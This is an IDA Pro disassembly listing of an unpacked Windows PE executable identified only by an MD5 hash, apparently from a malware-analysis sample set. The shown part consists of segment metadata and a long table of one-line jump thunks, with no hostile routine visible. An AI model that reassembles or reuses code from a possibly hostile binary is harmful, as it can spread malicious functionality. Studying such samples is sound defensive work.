;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	83790900C475B8540ADBC7FE2029CE32

; File Name   :	u:\work\83790900c475b8540adbc7fe2029ce32_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408CA2p
					; ___:00414551p
		jmp	sub_414300
sub_40137F	endp


